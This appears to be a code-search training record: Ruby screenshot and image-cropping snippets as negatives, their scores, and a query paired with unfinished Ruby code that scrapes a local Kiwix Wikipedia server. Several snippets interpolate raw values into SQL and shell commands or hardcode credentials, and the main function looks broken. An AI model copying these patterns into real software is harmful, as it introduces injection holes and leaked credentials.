@@logger.an_event.info \"browser take captcha\"\n\n end\n end", "def screenshot(page)\n return\tif page[\"url\"].to_s.strip.length == 0\n\n host = Addressable::URI.parse(page[\"url\"]).host\n foldr = GIT_REPO_PATH + host\n\n foldr.mkpath if !File.exists?( foldr )\n image_filename = Digest::MD5.hexdigest( page[\"url\"] + page[\"selector\"] )+\".png\"\n image_path = (foldr + image_filename).expand_path\n\n cmd = Shellwords.join(['xvfb-run', '-a', CONFIG[\"slimerjs_cmd\"],\n '--ssl-protocol=any',\n SCREENSHOTJS_PATH, page[\"url\"], image_path, page[\"selector\"]])\n puts \"screenshot cmd: #{cmd}\"\n puts %x{#{cmd}}\n\n # update git repo & push to remote repo\n Dir.chdir(GIT_REPO_PATH)\n commit_message = \"#{page[\"title\"]} - #{page[\"url\"]} \\n #{Time.now.to_s}\"\n %x{git add . && git commit -a -m #{Shellwords.escape(commit_message)} && git push 2>&1}\nend", "def snapshot_for_background\n $game_temp.background_bitmap.dispose\n $game_temp.background_bitmap = Graphics.snap_to_bitmap\n $game_temp.background_bitmap.blur\n end", "def save_screenshot\n @suite.p \"-- CAPTURE SCREENSHOT ::\"\n begin\n screenshot_flag = true\n filename = (ENV['REPORTS_DIR'] + \"/\" + self.class.name + '.png')\n @suite.capture_screenshot(filename)\n @suite.p \"-- SCREENSHOT CAPTURED TO: {#{filename}}\"\n screenshot_flag = false\n rescue => e\n if screenshot_flag\n @suite.p \"FAILED TO CAPTURE SCREENSHOT: \"\n @suite.p e.inspect\n @suite.p e.backtrace\n end\n end\n end", "def take_screenshot(index, action)\n #-------------------------------------------------------------------------------------------------------------\n # save body au format text to fichier\n #-------------------------------------------------------------------------------------------------------------\n begin\n source_file = Flow.new(@home, index.to_s, action, Date.today, nil, \".txt\")\n source_file.write(@browser.body)\n\n rescue Exception => e\n @@logger.an_event.debug \"browser save body #{source_file.basename} : #{e.message}\"\n\n else\n @@logger.an_event.debug \"browser save body #{source_file.basename}\"\n\n end\n\n #-------------------------------------------------------------------------------------------------------------\n # prise d'un screenshot au format image\n #-------------------------------------------------------------------------------------------------------------\n [source_file.absolute_path, @browser.take_screenshot(Flow.new(@home, index.to_s, action, Date.today, nil, \".png\"))]\n\n end", "def clipart\n output = get_working_image(@session_id)\n unless File.exist?(output)\n FileUtils.cp(\"#{Rails.root}/public/#{params[:src]}\", output)\n img = Image.read(output).first\n img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n img.background_color = \"none\"\n img.rotate!(params[:r].to_f) unless params[:r].blank?\n\n #For embroidery\n if params[:emb] == 'true'\n img = img.ordered_dither\n end\n #FLIP/FLOP/Transpose/Transverse\n if params[:ff] == 'flip'\n img.flip!\n elsif params[:ff] == 'flop'\n img.flop!\n elsif params[:ff] == 'transpose'\n img.transpose!\n elsif params[:ff] == 'transverse'\n img.transverse!\n end\n #Extracts a channel\n if params[:ec] == 'R'\n img = img.channel(Magick::RedChannel)\n elsif params[:ec] == 'G'\n img = img.channel(Magick::GreenChannel)\n elsif params[:ec] == 'B'\n img = img.channel(Magick::BlueChannel)\n end\n\n #Applies a special effect to the image - QuantumRange\n img = img.sepiatone(Magick::QuantumRange * params[:qr].to_f) unless params[:qr].blank?\n\n #Vignette (Shape Edge)\n if params[:vig] == 'true'\n img = img.vignette\n end\n\n #Wet Floor\n if params[:wf]\n img = img.wet_floor\n end\n img.write(output)\n end\n img = Image.read(output).first\n send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n end", "def take_screenshot(scenario)\n if scenario.failed?\n scenario_name = \"#{(convert_turkish_characters scenario.name)}\"\n scenario_name= scenario_name.split(\" \").join('-').delete(',')\n puts scenario_name\n time = Time.now.strftime(\"%H.%M-%m.%d.%Y\")\n time=time.to_s\n page.save_screenshot(File.absolute_path(\"features/screenshots/FAIL-#{time}-count-#{$screenshot_counter}-#{scenario_name[0..50]}.png\"))\n end\nend", "def capture\n unless Platform.darwin?\n puts \"Capture command is only supported on OS X for the time being.\"\n return\n end\n\n image_path = \"#{ENV['HOME']}/.imgurr.temp.png\"\n Platform.capture('-W', image_path)\n\n # User might have canceled or it takes some time to write to disk.\n # Check up to 3 times with 1 sec delay\n 3.times do\n if File.exist?(image_path)\n puts \"Uploading screenshot...\"\n upload(image_path)\n File.delete(image_path)\n break\n end\n sleep(1)\n end\n end", "def screenshot(name=\"screenshot\")\n page.driver.render(\"public/#{name}.jpg\",full: true)\n end", "def crop_insets(number)\n jpg_path = $jpg_path.gsub(\"{CHART_NUMBER}\", number.to_s)\n preprocessed_jpg_path = $preprocessed_jpg_path.gsub(\"{CHART_NUMBER}\", number.to_s)\n \n res = $dbh.query(\"SELECT * FROM ocpn_nga_charts WHERE number=#{number}\")\n\n while row = res.fetch_hash do\n puts \"Cropping insets and generating their corners for chart #{row[\"number\"]}\"\n \n # If rotated, use preprocessed JPG\n if (row[\"prerotate\"].to_i != 0)\n jpg = preprocessed_jpg_path\n else\n jpg = jpg_path\n end\n end\n res = $dbh.query(\"SELECT *, (SELECT MIN(x) FROM ocpn_nga_kap_point WHERE point_type='CROP' AND active=1 AND kap_id=k.kap_id) AS x, (SELECT MAX(x) FROM ocpn_nga_kap_point WHERE point_type='CROP' AND active=1 AND kap_id=k.kap_id) AS x1, (SELECT MIN(y) FROM ocpn_nga_kap_point WHERE point_type='CROP' AND active=1 AND kap_id=k.kap_id) AS y, (SELECT MAX(y) FROM ocpn_nga_kap_point WHERE point_type='CROP' AND active=1 AND kap_id=k.kap_id) AS y1 FROM ocpn_nga_kap k WHERE bsb_type!='BASE' AND active=1 AND number=#{number}\")\n while row = res.fetch_hash do\n corner_size = row[\"cornersize\"]\n puts corner_size\n # check whether the data entered are ok\n if(row[\"x\"].to_i >= 0 && row[\"y\"].to_i >= 0 && row[\"x1\"].to_i > row[\"x\"].to_i && row[\"y1\"].to_i > row[\"y\"].to_i)\n inset_path = $inset_path.gsub(\"{CHART_NUMBER}\", number.to_s).gsub(\"{INSET}\", row[\"inset_id\"])\n `#{$convert_command} #{jpg} -crop #{row[\"x1\"].to_i - row[\"x\"].to_i}x#{row[\"y1\"].to_i - row[\"y\"].to_i}+#{row[\"x\"]}+#{row[\"y\"]} #{inset_path}`\n \n # create corner cut-outs\n corner_path = $corner_path.gsub(\"{CHART_NUMBER}\", number.to_s).gsub(\"{INSET}\", row[\"inset_id\"]).gsub(\"{CORNER}\", 'sw')\n `#{$convert_command} #{inset_path} -gravity SouthWest -crop #{corner_size}x#{corner_size}+0+0 -depth 8 -type Palette -colors 32 png8:#{corner_path}`\n corner_path = $corner_path.gsub(\"{CHART_NUMBER}\", number.to_s).gsub(\"{INSET}\", row[\"inset_id\"]).gsub(\"{CORNER}\", 'nw')\n `#{$convert_command} #{inset_path} -gravity NorthWest -crop #{corner_size}x#{corner_size}+0+0 -depth 8 -type Palette -colors 32 png8:#{corner_path}`\n corner_path = $corner_path.gsub(\"{CHART_NUMBER}\", number.to_s).gsub(\"{INSET}\", row[\"inset_id\"]).gsub(\"{CORNER}\", 'ne')\n `#{$convert_command} #{inset_path} -gravity NorthEast -crop #{corner_size}x#{corner_size}+0+0 -depth 8 -type Palette -colors 32 png8:#{corner_path}`\n corner_path = $corner_path.gsub(\"{CHART_NUMBER}\", number.to_s).gsub(\"{INSET}\", row[\"inset_id\"]).gsub(\"{CORNER}\", 'se')\n `#{$convert_command} #{inset_path} -gravity SouthEast -crop #{corner_size}x#{corner_size}+0+0 -depth 8 -type Palette -colors 32 png8:#{corner_path}`\n \n $dbh.query(\"UPDATE ocpn_nga_kap SET cropped=CURRENT_TIMESTAMP() WHERE kap_id=#{row[\"kap_id\"]}\")\n end\n end\n end", "def realizarCapturaDePantalla\n self.getBrowser().screenshot.save(\"#{GEDORUTASCREENSHOT}GEDO_#{DateTime.now.strftime(\"%Y-%b-%d_%H%M%S\")}.png\")\n end", "def screenshot_as(format)\n case format\n when :base64\n bridge.element_screenshot @id\n when :png\n bridge.element_screenshot(@id).unpack('m')[0]\n else\n raise Core::Error::UnsupportedOperationError, \"unsupported format: #{format.inspect}\"\n end\n end", "def make_screenshot\n Logbook.step('Taking a screenshot of a result page')\n @browser.save_screenshot(\"screenshots/screenshot - #{Time.now.strftime('%Y-%m-%d %H-%M-%S')}.png\")\n end", "def take_screenshot(options)\n verify_ffmpeg_exists\n verify_source_exists\n \n ffmpeg_options = {\n :i => @source,\n :s => '320x240',\n :vframes => 1,\n :ss => options[:at],\n :an => '',\n }.merge(options.has_key?(:options) ? options[:options] : {})\n \n output = run_ffmpeg( ffmpeg_options, options[:to], true )\n raise \"unable to take screenshot:\\n\\n#{output}\" unless File.exists?(options[:to])\n end", "def screenshot\n @browser.save_screenshot(\"screenshot.png\")\n end", "def take_screenshot\n $browser.screenshot.save \"#{$image_folder}#{$testcase}_#{@var2}.png\"\n @var2+=1\n end", "def screenshot(filename=Time.now\\\n .strftime(\"Screenshot from %Y-%m-%d %d-%m-%y\"))\n\n XDo::Keyboard.simulate('{print}');\n sleep 4;\n XDo::Keyboard.simulate(\"{down}\")\n sleep 4;\n XDo::Keyboard.alt_s\n sleep 5;\n XDo::Keyboard.type filename\n sleep 3\n XDo::Keyboard.alt_s\n sleep 1\n\n end", "def screenshot(driver,sess_time,shot_num,descr)\n filename = \"shot-#{shot_num}-#{driver.current_url.sub(\"http://\",\"\").sub(\"admin:123@\",\"\").gsub(\"/\",\"-\")}-(#{descr})-#{sess_time}.png\"\n # driver.save_screenshot (\"shot-#{shot_num}-#{driver.current_url.sub(\"https://format-staging.com/\",\"\").gsub(\"/\",\"-\")}-(#{descr})-#{sess_time}.png\")\n driver.save_screenshot(filename)\n # puts (\" 📸 Shot #{shot_num} (#{driver.current_url})\")\n puts (\" 📸 #{filename}\")\n return 1\nend", "def take_screenshot_from_tab(options = {})\n screenshoter = File.join Chromeshot.root, 'bin', 'save-screenshot.js'\n system 'nodejs', screenshoter, \"--tab=#{options[:tab]}\", \"--output=#{options[:output]}\", \"--debugPort=#{self.debug_port}\", \"--script=#{options[:script]}\"\n system 'convert', options[:output], '-trim', '-strip', '-quality', '90', options[:output]\n end", "def frame\n @cap >> @raw\n\n # We'll only use B&W for map detection\n bw = @raw.convert(ColorSpace[:RGB => :Gray])\n\n # We only wanna get hold of the black (dark) map boundary, so we trow\n # away all pixels that are whiter than 100.0\n bw.threshold! 100.0, 255.0\n\n # Canny is used to detect color changing boundaries.\n bw.canny! 100, 100\n\n # Get the contours (Array of Contour)\n contours = bw.contours\n\n # Only get closed contours\n contours.select! { |c| c.convex? }\n\n # Ignore small contours\n contours.select! { |c| c.rect.area > (@raw.cols * @raw.rows) / 3 }\n\n # Sort by size, we wanna have the last one!\n contours.sort_by! { |c| -1 * c.rect.area }\n\n # Return nil if nothing is detected (SNAFU)\n if contours.empty?\n Theia.logger.warn(\"Cannot find the map\"); return nil\n end\n\n # We wanna have the last (i.e. biggest) one!\n contour = contours.last\n\n # Return nil if we cannot find the corners\n if corners = contour.corners\n # Straighten up that image!\n Theia.logger.info(\"Map found\")\n @raw.warp_perspective(corners, Size.new(A1_HEIGHT, A1_WIDTH))\n else\n Theia.logger.warn(\"Cannot find the corners of the map\"); return nil\n end\n end", "def square_image_crop\n if (self.crops)\n if !(self.crop_x.nil? || self.crop_y.nil? || self.crop_w.nil? || self.crop_h.nil?)\n @image = MiniMagick::Image.open(self.photo.url)\n # if image is larger than our max screen size, the cropped image will be incorrect (resizing)\n @image.sample(((700/@image[:width].to_f) * 100).to_s + \"%\") if @image[:width] > 700\n @image.crop(\"#{self.crop_w}x#{self.crop_h}+#{self.crop_x}+#{self.crop_y}\")\n @image.set(\"page\", \"#{self.crop_w}x#{self.crop_h}+#{self.crop_x}+#{self.crop_y}\") \n self.square_image = @image\n end\n end\n end", "def screenshot _value\n send_cmd(\"screenshot #{_value}\")\n end", "def cover\n manipulate! do |frame, index|\n frame if index.zero?\n end\n end", "def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend", "def screenshot(project_id, screenshot_id, req_params = {})\n params = { query: [project_id, screenshot_id], req: req_params }\n\n data = endpoint(name: 'Screenshots', params: params).do_get\n\n resource 'Screenshot', data\n end", "def add_screenshot(scenario)\n nome = scenario.name.tr(' ', '_').downcase!\n captura = page.save_screenshot(\"log/screenshots/#{nome}.png\")\n attach(captura, 'image/png')\nend", "def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend", "def capture\n for i in 0..49\n\t open(\"tempImages/image#{i}.png\", 'wb') do |file|\n\t file << open('http://hq.cirrusmio.com:82/media/?action=snapshot', http_basic_authentication: [\"admin\", \"admin\"]).read\n\t sleep(0.2)\n\tend\n end\n end", "def cut_image(source, width, height, dest = nil)\r\n dest ||= default_dest(source, \"cut\")\r\n image = MiniMagick::Image.from_file(source)\r\n image.crop \"#{width}x#{height}+0+0\"\r\n image.write dest\r\n dest\r\n end", "def selectionRectChanged(imageView)\n if imageBrowserView.selectionIndexes.count == 1\n index = imageBrowserView.selectionIndexes.firstIndex\n images[index].crop = NSStringFromRect( imageView.selectionRect )\n end\n end", "def extract_cover(input, output, duration)\n seek = duration / 2\n Cmd::ExtractFrame.new(input, output, seek).run! %W(#{stdout_log} a), %W(#{stderr_log} a)\n unless File.exists? output\n raise Error.new( 'unable to create cover',\n model_id: model_id, input: input, output: output, stdout_log: stdout_log, stderr_log: stderr_log)\n end\n end", "def setup_screenshots(row)\n screenshots = row.fetch('screenshots', {}).fetch('value', nil)\n return [] unless screenshots\n\n result = []\n\n screenshots.each do |device_type, value|\n value['value'].each do |screenshot|\n screenshot = screenshot['value']\n result << Tunes::AppScreenshot.new({\n url: screenshot['url'],\n thumbnail_url: screenshot['thumbNailUrl'],\n sort_order: screenshot['sortOrder'],\n original_file_name: screenshot['originalFileName'],\n device_type: device_type,\n language: row['language']\n })\n end\n end\n\n return result\n end", "def take_failed_screenshot\n return unless failed? && supports_screenshot? && Capybara::Session.instance_created?\n\n take_screenshot\n metadata[:failure_screenshot_path] = relative_image_path if Minitest::Runnable.method_defined?(:metadata)\n end", "def crop(*args)\n @source = Cropper.new(@source, *args)\n self\n end", "def grab\n raise \"Camera has'nt be initialized\" if @capture_handler.nil?\n image = Highgui.query(@capture_handler)\n return Image.new(image)\n end", "def crop_logo\n logo.recreate_versions! if crop_logo_x.present?\n end", "def take_screenshot(to_file = nil, opts = {})\r\n # puts \"calling new take screenshot: #{$screenshot_supported}\"\r\n # unless $screenshot_supported\r\n # puts \" [WARN] Screenhost not supported, check whether win32screenshot gem is installed\" \r\n # return\r\n # end\r\n\r\n if to_file\r\n screenshot_image_filepath = to_file\r\n else\r\n screenshot_image_filename = \"screenshot_\" + Time.now.strftime(\"%m%d%H%M%S\") + \".jpg\"\r\n the_dump_dir = opts[:to_dir] || default_dump_dir\r\n FileUtils.mkdir_p(the_dump_dir) unless File.exists?(the_dump_dir)\r\n screenshot_image_filepath = File.join(the_dump_dir, screenshot_image_filename)\r\n screenshot_image_filepath.gsub!(\"/\", \"\\\\\") if is_windows?\r\n\r\n FileUtils.rm_f(screenshot_image_filepath) if File.exist?(screenshot_image_filepath)\r\n end\r\n\r\n begin \r\n if is_firefox? then\r\n Win32::Screenshot::Take.of(:window, :title => /mozilla\\sfirefox/i).write(screenshot_image_filepath)\t\t\t\t\t\r\n\t\t elsif ie\r\n Win32::Screenshot::Take.of(:window, :title => /internet\\sexplorer/i).write(screenshot_image_filepath)\t\t\t\t\t\r\n else\r\n Win32::Screenshot::Take.of(:foreground).write(screenshot_image_filepath)\r\n end\r\n notify_screenshot_location(screenshot_image_filepath)\r\n\t\t\t\trescue ::DL::DLTypeError => de\r\n\t\t\t\t\tputs \"No screenshot libray found: #{de}\"\r\n rescue => e\r\n puts \"error on taking screenshot: #{e}\"\r\n end\r\n \r\n\r\n end", "def crop_top_rows image, starting_row, outimage=nil\n raise \"number expected\" unless starting_row.class == Fixnum\n m_begin \"crop_top_rows\"\n img = get_image(image)\n cropped = img.excerpt(0, starting_row, img.columns, img.rows-starting_row)\n outimage = image if outimage.nil?\n put_image(outimage, cropped)\n m_end \"crop_top_rows\"\n end", "def restore_bitmap src_fname\n File.open(src_fname, \"rb\") do |f|\n parse f\n if data.first == \"PNG\"\n \"\\x89PNG\" +f.read(self.size-4)\n else\n bitmap_hdr + f.read(@palette_size + @imgdata_size)\n end\n end\n end", "def create_screenshot_graphic\n @screenshot_loaded = false\n @screenshot = Sprite.new(@viewport)\n @screenshot.opacity = 0\n end", "def slice_images(opts) \n slices = @slices\n output = \"\"\n\n slices.each do |name, slice|\n # If we modify the canvas, we'll place the modified canvas here.\n # Otherwise, consumers will use slice[:file] [:canvas] or [:contents]\n # to get the original data as needed.\n slice[:canvas] = nil\n \n # In any case, if there is one, we need to get the original file and canvas;\n # this process also tells us if the slice is 2x, etc.\n canvas = canvas_for slice, opts\n\n # Check if a canvas is required\n must_slice = (slice[:left] != 0 or slice[:right] != 0 or slice[:top] != 0 or slice[:bottom] != 0)\n if must_slice or slice[:x2]\n if canvas.nil?\n throw \"Chance could not load file '#{slice[:path]}'.\" +\n \"If it is not a PNG, RMagick is required to slice or use @2x mode.\"\n end\n\n f = slice[:proportion]\n\n # RMagick or ChunkyPNG? 'columns' is RMagick\n if canvas.respond_to?('columns')\n canvas_width = canvas.columns\n canvas_height = canvas.rows\n else\n canvas_width = canvas.width\n canvas_height = canvas.height\n end\n\n if must_slice\n rect = nil\n\n # The math that uses canvas_width and canvas_height needs to return numbers that,\n # when multiplied by f, are valid. So, divide by f first.\n rect = slice_rect(slice, canvas_width / f, canvas_height / f)\n\n if not rect.nil?\n \n ## CHECK CACHE ##\n file = file_for(slice, opts)\n cached_canvas = Chance::Instance::Slicing.get_canvas_from_cache(file, rect)\n if cached_canvas\n slice[:canvas] = cached_canvas\n else\n slice[:canvas] = canvas.crop(rect[:left] * f, rect[:top] * f, rect[:width] * f, rect[:height] * f)\n Chance::Instance::Slicing.add_canvas_to_cache(slice[:canvas], file, rect)\n end\n \n canvas_width = rect[:height] * f\n canvas_height = rect[:width] * f\n end\n end\n\n slice[:target_width] = canvas_width / f\n slice[:target_height] = canvas_height / f\n end\n \n \n\n end\n \n end", "def crop(image)\n if image.columns != LETTERPRESS_EXPECTED_WIDTH || image.rows != LETTERPRESS_EXPECTED_HEIGHT\n image = image.resize(LETTERPRESS_EXPECTED_WIDTH, LETTERPRESS_EXPECTED_HEIGHT)\n end\n\n image = quantize_image(image)\n\n y_offset = LETTERPRESS_HEIGHT_OFFSET\n\n rows = [ ]\n\n border = 1\n\n 0.upto(LETTERPRESS_TILES_DOWN - 1) do\n x_offset = 0\n row = [ ]\n\n 0.upto(LETTERPRESS_TILES_ACROSS - 1) do\n\n tile = image.crop(x_offset - border, y_offset + border, LETTERPRESS_TILE_PIXELS - border, LETTERPRESS_TILE_PIXELS - border, true)\n box = tile.bounding_box\n min_bound_width = 0.75 * @config.char_width\n if box.width > min_bound_width\n tile = tile.crop(box.x - border, box.y - border, box.width + 2 * border, box.height + 2 * border, true)\n end\n\n tile.resize!(@config.char_width, @config.char_height)\n row << tile\n x_offset += LETTERPRESS_TILE_PIXELS\n\n end\n rows << row\n\n y_offset += LETTERPRESS_TILE_PIXELS\n end\n\n rows\n end", "def screenshot png_save_path\n @driver.save_screenshot png_save_path\n nil\n end" ]
[ "0.66480505", "0.63476115", "0.5793085", "0.57910705", "0.57661664", "0.5760912", "0.56414205", "0.56041145", "0.55915797", "0.5577264", "0.55597204", "0.55393744", "0.5534194", "0.5517928", "0.5472978", "0.53833055", "0.5370933", "0.5348407", "0.5343125", "0.52989435", "0.5295853", "0.5292681", "0.5291864", "0.5281617", "0.52702767", "0.52684146", "0.52680963", "0.525965", "0.52474815", "0.52280825", "0.5227541", "0.52187586", "0.52163213", "0.52142394", "0.5209002", "0.52004445", "0.5193336", "0.51907796", "0.5187784", "0.51875687", "0.51797086", "0.51737523", "0.51687247", "0.5149731", "0.5142735", "0.5120176", "0.5104006", "0.51017815", "0.5088017", "0.5084377", "0.5080542", "0.5067284", "0.5061708", "0.5057503", "0.5047649", "0.5045975", "0.50380504", "0.5032938", "0.5023646", "0.5020779", "0.5005313", "0.49903", "0.49901772", "0.49897593", "0.49873734", "0.4984227", "0.49763003", "0.49682736", "0.49656102", "0.4963201", "0.49615747", "0.496001", "0.49492863", "0.4945462", "0.4942819", "0.49417457", "0.49417225", "0.49378407", "0.4930572", "0.49260554", "0.49195713", "0.4913899", "0.49029538", "0.4901216", "0.4900602", "0.48966056", "0.48896095", "0.4882354", "0.4879282", "0.48753566", "0.48734885", "0.48689207", "0.48684952", "0.48630014", "0.48567033", "0.48452646", "0.4839243", "0.48345232", "0.48276287", "0.48256937" ]
0.5674084
6
returns htmls of kiwix answer searches
def kiwixAnswerSearch(aA, aB, aC, aD) htmls = [] begin address1 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(aA) + '.html' rescue puts "address1 not encoded" end begin address2 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(aB) + '.html' rescue puts "address1 not encoded" end begin address3 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(aC) + '.html' rescue puts "address1 not encoded" end begin address4 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(aD) + '.html' rescue puts "address1 not encoded" end begin htmls << HTTParty.get(address1) rescue puts "address1 not gotten" end begin htmls << HTTParty.get(address2) rescue puts "address2 not gotten" end begin htmls << HTTParty.get(address3) rescue puts "address3 not gotten" end begin htmls << HTTParty.get(address4) rescue puts "address4 not gotten" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def kitties_search( q )\r\n \"https://www.cryptokitties.co/search?include=sale,sire,other&search=#{q}\"\r\nend", "def search_results\r\n @browser.divs(class: 'rc').collect do |div|\r\n div.h3.a.text\r\n end\r\n end", "def txt_from_answer\n search_result = QueryForKeywords.new(skills_in_request).call\n answer = search_result.to_array # Here we can decide what output we need\n\n \"\".tap do |str|\n if answer[0].present?\n people = answer[0].map(&:full_name).join(\", \")\n skills = answer[1].map(&:title).join(\", \")\n str << \"Your first choice(s): #{people}. They know about: #{skills}.\"\n end\n\n if answer[2].present?\n people = answer[2].map(&:full_name).join(\", \")\n skills = answer[3].map(&:title).join(\", \")\n str << \"\\nYour second choice(s): #{people}. They know about: #{skills}.\"\n end\n\n if answer[4].present?\n people = answer[4].map(&:full_name).join(\", \")\n skills = answer[5].map(&:title).join(\", \")\n str << \"\\nYour third choice(s): #{people}. They know about: #{skills}.\"\n end\n\n str << \"No results, maybe try another combination of keywords?\" if str.blank?\n end\n end", "def index\n @questions = @keyword.question_sheet.elements\n @predefined = QuestionSheet.find(APP_CONFIG['predefined_question_sheet'])\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @questions }\n end\n end", "def documentation_search_results(result, options = {})\n options[:class] ||= 'searchResults'\n String.new.tap do |s|\n s << \"<ul class='#{options[:class]}'>\"\n result.results.each do |page|\n if documentation_authorizer.can_view_page?(page)\n s << \"<li>\"\n s << \"<h4><a href='#{documentation_doc_root}/#{page.full_permalink}'>#{page.title}</a></h4>\"\n unless page.parents.empty?\n s << \"<p class='in'>#{t('documentation.helpers.documentation_search_results.in')} \"\n s << page.parents.map { |c| link_to(h(c.title), \"#{documentation_doc_root}/#{c.full_permalink}\")}.join(\" &#8658; \").html_safe\n s << \"</p>\"\n end\n s << \"<p class='excerpt'>#{result.excerpt_for(page)}</p>\"\n s << \"</li>\"\n end\n end\n s << \"</ul>\"\n end.html_safe\n end", "def jira_search\n\n @lunch_special = SlackJIRABot.new\n doc = Nokogiri::HTML(open('http://www.truetastes.com/anitas-cafe-lunch-catering/'))\n\n ####\n # Search for nodes by css\n\n if(doc)\n doc.css('div.specials_copy').each do |specials|\n @lunch_special.html_content = specials.inner_html\n @lunch_special.text_content = specials.content\n end\n end\n\n return @lunch_special\n\nend", "def japanese\n puts \"Let's explore the whiskies of Japan\"\n #call method to list whiskies for this particular type\n list_whiskies('c/35/japanese-whisky?filter=true&rfdata=~size.76#productlist-filter')\n end", "def kiwixKeywordSearch(question, acc)\n\tif acc[-1] == '2'\n\t\tputs 'end with 2'\n\t\tif acc.length == 2\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*/)[1]\n\t\telse\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*/)[1]\n\t\tend\n\telsif acc[-1] == '3'\n\t\tif acc.length == 2\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*/)[2]\n\t\telse\n\t\t\tacc = acc[0..-2]\n\t\t\tputs acc\t\t\n\t\t\tterm = question.scan(/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*/)[2]\n\t\tend\n\telsif acc.length == 1\n\t\tterm = question[/\\b#{acc[0]}\\w*/]\n\telsif acc.length == 2\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*/]\n\telsif acc.length == 3\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*/]\n\telsif acc.length == 4\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*/]\n\telsif acc.length == 5\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*\\s#{acc[0]}\\w*/]\n\telsif acc.length == 6\n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*\\s#{acc[0]}\\w*\\s#{acc[0]}\\w*/]\n\telse \n\t\tterm = question[/\\b#{acc[0]}\\w*\\s#{acc[1]}\\w*\\s#{acc[2]}\\w*\\s#{acc[3]}\\w*\\s#{acc[0]}\\w*\\s#{acc[0]}\\w*\\s#{acc[0]}\\w*/]\n\tend\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\tprint \"term = \" + term.to_s + \"\\n\\n\"\n\n\tbegin\n\t\taddress ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(term) + '.html'\n\trescue\n\t\tputs \"address encoding error\"\n\t#---------------------------To be removed?\n\thtml = HTTParty.get(address)\n\t#puts html +\"\\n\\n\\n\"\n\treturn html\nend\n\n\n# puts a colour aided wikipedia article to screen, with pnum the number of the paragraph\ndef paras(text, q, aA, aB, aC, aD, pnum = 0)\n\tcommon_words = [\"the\", \"be\", \"of\", \"and\", \"a\", \"is\", \"to\", \"in\", \"he\", \"have\", \"it\", \"that\", \"for\", \"they\", \"I\", \"with\", \"as\", \"not\", \"on\", \"she\", \"at\", \"by\", \"this\", \"we\", \"you\", \"do\", \"but\", \"from\", \"or\", \"which\", \"one\", \"would\", \"all\", \"will\", \"there\", \"say\", \"who\", \"make\", \"when\", \"can\", \"more\", \"if\", \"no\", \"man\", \"out\", \"other\", \"so\", \"what\", \"time\", \"up\", \"go\", \"about\", \"than\", \"into\", \"could\", \"only\", \"these\", \"come\", \"these\", \"some\", \"then\", \"any\"] #, \"state\", \"only\", \"new\", \"year\", \"some\", \"take\", \"come\", \"these\", \"know\", \"see\", \"use\", \"get\", \"like\", \"then\", \"first\", \"any\", \"work\", \"now\", \"may\", \"such\", \"give\", \"over\", \"think\", \"most\", \"even\", \"find\", \"day\", \"also\", \"after\", \"way\", \"many\", \"must\", \"look\", \"before\", \"great\", \"back\", \"through\", \"long\", \"where\", \"much\", \"should\", \"well\", \"people\", \"down\", \"own\", \"just\", \"because\", \"good\", \"each\", \"those\", \"feel\", \"seem\", \"how\", \"high\", \"too\", \"place\", \"little\", \"world\", \"very\", \"still\", \"nation\", \"hand\", \"old\", \"life\", \"tell\", \"write\", \"become\", \"here\", \"show\", \"house\", \"both\"]\n\n\tnumberWords = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\", \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\", \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\", \"hundred\", \"thousand\", \"million\", \"billion\", \"trillion\"] \n\tnumberWords = Regexp.union(numberWords)\n\n\taWords = []\n\taWords << aA << aB << aC << aD\t\n\tqWords = q.split(\" \")\n\tallWords = aWords + qWords\n \ttext = text.scan(/(\\<p\\>)(.*?)(\\<\\/p\\>)/m).map(&:join)[pnum]\n \twrittenNumbers = []\n\n \tputs \"allWords = \" + allWords.to_s\n\n\n\ttext.gsub!(/<\\/?[^>]*>/,\"\")\n\ttext.gsub!(/(&#160;)/,\"\")\n\ttext.gsub!(/(\\[\\d+\\])/,\"\")\n\twrittenNumbers = text.downcase.scan(/\\b#{numberWords}(?:(?:\\s+and\\s+|\\s+)#{numberWords})*\\b/i)\n\twrittenNumbers.concat text.scan(/\\b[\\d\\.*,*]+\\b/)\n\tputs \"writtenNumbers = \" + writtenNumbers.to_s\n\n\taWords.each do |i|\n\t\ti2 = i.gsub(/(\\?|\\.|\\,|\\!)/,\"\")\n\t\tif common_words.include?(i2) == 